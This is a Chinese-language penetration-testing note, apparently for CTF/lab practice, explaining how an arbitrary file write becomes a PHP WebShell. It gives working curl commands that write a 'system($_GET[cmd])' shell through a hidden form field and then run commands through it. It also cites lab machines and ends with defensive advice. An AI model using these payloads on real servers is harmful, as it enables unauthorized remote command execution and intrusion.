任意文件写入到 WebShell
任意文件写入的危险点在于:只要写入目录能被 Web 服务器解析,低权限表单功能就可能直接变成远程命令执行。靶场中常见触发点包括留言板、日志写入、模板保存、文件名隐藏字段和弱后台上传。
判断条件
核心问题只有三个:
| 问题 | 判断方式 |
|---|---|
| 文件名是否可控 | 看表单隐藏字段、请求参数、接口 JSON |
| 内容是否可控 | 写入唯一字符串后访问或读取 |
| 写入目录是否可解析 | 写 .php 后访问,看是否执行 |
表单源码检查
curl -s http://target/graffiti.php
重点看:
<input type="hidden" name="file" value="graffiti.txt">
如果隐藏字段可被客户端改写,就尝试把文件名改成 WebShell 路径。
最小 WebShell
先用极简 payload 验证,不要一开始就上复杂反弹 shell:
curl -i -X POST \
-d 'message=<?php system($_GET["cmd"]); ?>&file=shell.php' \
http://target/graffiti.php
访问验证:
curl 'http://target/shell.php?cmd=id'
如果看到 uid=...,说明写入和解析都成立。
后续枚举
curl -sG --data-urlencode 'cmd=whoami; hostname; pwd; ls -la' \
http://target/shell.php
如果命令较长,优先用 --data-urlencode,避免空格、分号、管道被 shell 或 URL 编码坑到。
常见失败原因
- 文件写到了不可访问目录。
- Web 服务器不解析该目录下的 PHP。
- 应用会追加扩展名,导致实际文件名不是
shell.php。 - WAF 或过滤器拦截
<?php、system。 - 响应没有回显,但命令可能已经执行,需要用 DNS、HTTP 或反弹连接验证。
防御建议
- 文件名由服务端生成,不接受客户端路径。
- 上传或写入目录禁止脚本执行。
- 对写入内容做类型校验,不允许混合代码和数据。
- Web 根目录最小权限,业务进程不应能写可执行脚本路径。
来源案例
- Matrix-Breakout: 2 Morpheus:
graffiti.php隐藏参数file可控,最终写入shell.php获得www-dataRCE。 - sunset: solstice:File Thingie 后台可上传 Zip 并解压释放 PHP WebShell。
- HackMyVM Type:Typecho 管理员通过主题编辑器覆盖
404.php,落地最小 PHP WebShell。 - HackMyVM Rsscross:Node.js RCE 后使用
fs.writeFileSync写入/var/www/html/w.php,获得稳定 WebShell。